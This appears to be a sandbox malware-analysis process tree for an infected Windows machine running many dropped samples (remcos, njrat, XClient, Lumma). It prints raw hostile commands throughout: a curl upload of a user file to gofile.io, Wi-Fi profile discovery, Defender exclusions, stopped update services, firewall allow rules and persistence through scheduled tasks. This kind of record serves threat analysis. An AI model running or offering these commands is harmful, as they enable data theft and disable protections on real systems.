C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/GroupBackup.xml" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin/Desktop/GroupBackup.xml" https://store4.gofile.io/uploadFile6⤵
-
-
-
-
-
C:\Users\Admin\Desktop\Files\hhnjqu9y.exe"C:\Users\Admin\Desktop\Files\hhnjqu9y.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7280 -s 6245⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe"Powershell" Copy-Item 'C:\Users\Admin\Desktop\Files\hhnjqu9y.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ucloud.exe'4⤵
-
-
-
C:\Users\Admin\Desktop\Files\v7wa24td.exe"C:\Users\Admin\Desktop\Files\v7wa24td.exe"3⤵
-
C:\Users\Admin\AppData\Local\dp3s81isgn\tor\tor-real.exe"C:\Users\Admin\AppData\Local\dp3s81isgn\tor\tor-real.exe" -f "C:\Users\Admin\AppData\Local\dp3s81isgn\tor\torrc.txt"4⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"4⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\chcp.comchcp 650015⤵
-
-
C:\Windows\system32\netsh.exenetsh wlan show profiles5⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\system32\findstr.exefindstr /R /C:"[ ]:[ ]"5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"4⤵
-
C:\Windows\system32\chcp.comchcp 650015⤵
-
-
C:\Windows\system32\netsh.exenetsh wlan show networks mode=bssid5⤵
-
-
C:\Windows\system32\findstr.exefindstr "SSID BSSID Signal"5⤵
-
-
-
-
C:\Users\Admin\Desktop\Files\tpeinf.exe"C:\Users\Admin\Desktop\Files\tpeinf.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\crypteda.exe"C:\Users\Admin\Desktop\Files\crypteda.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\wkO3J0TIC0.exe"C:\Users\Admin\AppData\Roaming\wkO3J0TIC0.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\2v8fcEymdJ.exe"C:\Users\Admin\AppData\Roaming\2v8fcEymdJ.exe"4⤵
-
-
-
C:\Users\Admin\Desktop\Files\Documents.exe"C:\Users\Admin\Desktop\Files\Documents.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\Solara_Protect.exe"C:\Users\Admin\Desktop\Files\Solara_Protect.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows" /tr '"C:\Users\Admin\AppData\Local\Temp\Windows.exe"' & exit4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Windows" /tr '"C:\Users\Admin\AppData\Local\Temp\Windows.exe"'5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4C9F.tmp.bat""4⤵
-
-
-
C:\Users\Admin\Desktop\Files\uhigdbf.exe"C:\Users\Admin\Desktop\Files\uhigdbf.exe"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "4⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.execlamer.exe -priverdD5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\fseawd.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\fseawd.exe"6⤵
-
-
-
-
-
C:\Users\Admin\Desktop\Files\m.exe"C:\Users\Admin\Desktop\Files\m.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\univ.exe"C:\Users\Admin\Desktop\Files\univ.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5456 -s 7444⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5456 -s 7644⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5456 -s 7644⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5456 -s 7884⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5456 -s 7764⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5456 -s 8004⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\Files\Autoupdate.exe"C:\Users\Admin\Desktop\Files\Autoupdate.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\newtpp.exe"C:\Users\Admin\Desktop\Files\newtpp.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\build_2024-07-24_23-16.exe"C:\Users\Admin\Desktop\Files\build_2024-07-24_23-16.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\ew.exe"C:\Users\Admin\Desktop\Files\ew.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\tdrpload.exe"C:\Users\Admin\Desktop\Files\tdrpload.exe"3⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffcd444cc40,0x7ffcd444cc4c,0x7ffcd444cc583⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1996,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1992 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2016,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2180 /prefetch:33⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2300,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2664 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3172,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3192 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3296,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3308 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4608,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4624 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4752,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4908 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4884,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4964 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4976,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5152 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5048,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5284 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4748,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5060 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5292,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5340 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=4920,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5244 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe"C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --reenable-autoupdates --system-level3⤵
- Drops file in Program Files directory
-
C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe"C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x284,0x288,0x28c,0x260,0x290,0x7ff794414698,0x7ff7944146a4,0x7ff7944146b04⤵
- Drops file in Program Files directory
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=5036,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4968 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3276,i,4373672270077254445,13988946440019647509,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3492 /prefetch:83⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\4363463463464363463463463.exe"C:\Users\Admin\Desktop\4363463463464363463463463.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Desktop\Files\Dtrade_v1.3.6.exe"C:\Users\Admin\Desktop\Files\Dtrade_v1.3.6.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Files\payload.exe"C:\Users\Admin\Desktop\Files\payload.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Files\file.exe"C:\Users\Admin\Desktop\Files\file.exe"5⤵
- Adds policy Run key to start application
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
C:\ProgramData\tst\remcos.exe"C:\ProgramData\tst\remcos.exe"6⤵
- Adds policy Run key to start application
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
-
\??\c:\program files (x86)\internet explorer\iexplore.exe"c:\program files (x86)\internet explorer\iexplore.exe"7⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\Desktop\Files\XClient.exe"C:\Users\Admin\Desktop\Files\XClient.exe"5⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\XClient.exe'6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\Desktop\Files\LummaC222222.exe"C:\Users\Admin\Desktop\Files\LummaC222222.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Files\njrat.exe"C:\Users\Admin\Desktop\Files\njrat.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\rundll32.exe"C:\Windows\rundll32.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops autorun.inf file
- Drops file in Windows directory
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Windows\rundll32.exe" "rundll32.exe" ENABLE7⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
-
C:\Users\Admin\Desktop\Files\shopfree.exe"C:\Users\Admin\Desktop\Files\shopfree.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exeC:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe6⤵
-
-
-
C:\Users\Admin\Desktop\Files\1.exe"C:\Users\Admin\Desktop\Files\1.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\sysklnorbcv.exeC:\Windows\sysklnorbcv.exe6⤵
- Modifies security service
- Windows security bypass
- Checks computer location settings
- Executes dropped EXE
- Windows security modification
- System Location Discovery: System Language Discovery
- Suspicious behavior: SetClipboardViewer
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"8⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS7⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc stop UsoSvc8⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop WaaSMedicSvc8⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop wuauserv8⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc stop DoSvc8⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop BITS8⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\2055624291.exeC:\Users\Admin\AppData\Local\Temp\2055624291.exe7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f8⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f9⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"8⤵
-
C:\Windows\system32\schtasks.exeschtasks /delete /f /tn "Windows Upgrade Manager"9⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\291118258.exeC:\Users\Admin\AppData\Local\Temp\291118258.exe7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\2598011053.exeC:\Users\Admin\AppData\Local\Temp\2598011053.exe7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\192095840.exeC:\Users\Admin\AppData\Local\Temp\192095840.exe7⤵
-
-
-
-
C:\Users\Admin\Desktop\Files\30072024.exe"C:\Users\Admin\Desktop\Files\30072024.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Files\c2.exe"C:\Users\Admin\Desktop\Files\c2.exe"5⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\notepad.exenotepad.exe6⤵
-
-
-
C:\Users\Admin\Desktop\Files\networks_profile.exe"C:\Users\Admin\Desktop\Files\networks_profile.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\Files\networks_profile.exe"C:\Users\Admin\Desktop\Files\networks_profile.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"7⤵
-
-
C:\Windows\SYSTEM32\netsh.exenetsh wlan show profiles7⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
C:\Users\Admin\Desktop\Files\pei.exe"C:\Users\Admin\Desktop\Files\pei.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\2593126454.exeC:\Users\Admin\AppData\Local\Temp\2593126454.exe6⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\sysnldcvmr.exeC:\Windows\sysnldcvmr.exe7⤵
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Local\Temp\2207827495.exeC:\Users\Admin\AppData\Local\Temp\2207827495.exe8⤵
- Checks computer location settings
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f9⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f10⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"9⤵
-
C:\Windows\system32\schtasks.exeschtasks /delete /f /tn "Windows Upgrade Manager"10⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1739817126.exeC:\Users\Admin\AppData\Local\Temp\1739817126.exe8⤵
-
-
C:\Users\Admin\AppData\Local\Temp\16766554.exeC:\Users\Admin\AppData\Local\Temp\16766554.exe8⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\2411728035.exeC:\Users\Admin\AppData\Local\Temp\2411728035.exe8⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\Desktop\Files\Gorebox%20ModMenu%201.2.0.exe"C:\Users\Admin\Desktop\Files\Gorebox%20ModMenu%201.2.0.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Files\pp.exe"C:\Users\Admin\Desktop\Files\pp.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Files\t1.exe"C:\Users\Admin\Desktop\Files\t1.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Files\maza-0.16.3-win64-setup-unsigned.exe"C:\Users\Admin\Desktop\Files\maza-0.16.3-win64-setup-unsigned.exe"5⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Files\build2.exe"C:\Users\Admin\Desktop\Files\build2.exe"5⤵
-
-
C:\Users\Admin\Desktop\Files\langla.exe"C:\Users\Admin\Desktop\Files\langla.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "http" /tr '"C:\Users\Admin\AppData\Roaming\http.exe"' & exit6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "http" /tr '"C:\Users\Admin\AppData\Roaming\http.exe"'7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1BB0.tmp.bat""6⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 37⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\http.exe"C:\Users\Admin\AppData\Roaming\http.exe"7⤵
-
-
-
-
C:\Users\Admin\Desktop\Files\loader_5879465914.exe"C:\Users\Admin\Desktop\Files\loader_5879465914.exe"5⤵
-
-
C:\Users\Admin\Desktop\Files\fusca%20game.exe"C:\Users\Admin\Desktop\Files\fusca%20game.exe"5⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\Desktop\Files\fusca%20game.exe" "fusca%20game.exe" ENABLE6⤵
- Modifies Windows Firewall
-
-
-
C:\Users\Admin\Desktop\Files\runtime.exe"C:\Users\Admin\Desktop\Files\runtime.exe"5⤵
-
-
C:\Users\Admin\Desktop\Files\c1.exe"C:\Users\Admin\Desktop\Files\c1.exe"5⤵
-
-
C:\Users\Admin\Desktop\Files\a.exe"C:\Users\Admin\Desktop\Files\a.exe"5⤵
-
C:\Windows\sysvplervcs.exeC:\Windows\sysvplervcs.exe6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"8⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait7⤵
-
C:\Windows\SysWOW64\sc.exesc stop UsoSvc8⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop WaaSMedicSvc8⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop wuauserv8⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop DoSvc8⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop BITS /wait8⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\2225312911.exeC:\Users\Admin\AppData\Local\Temp\2225312911.exe7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f8⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f9⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"8⤵
-
C:\Windows\system32\schtasks.exeschtasks /delete /f /tn "Windows Upgrade Manager"9⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\129948563.exeC:\Users\Admin\AppData\Local\Temp\129948563.exe7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\60972534.exeC:\Users\Admin\AppData\Local\Temp\60972534.exe7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1818828302.exeC:\Users\Admin\AppData\Local\Temp\1818828302.exe7⤵
-
-
-
-
C:\Users\Admin\Desktop\Files\OneDrive.exe"C:\Users\Admin\Desktop\Files\OneDrive.exe"5⤵
-
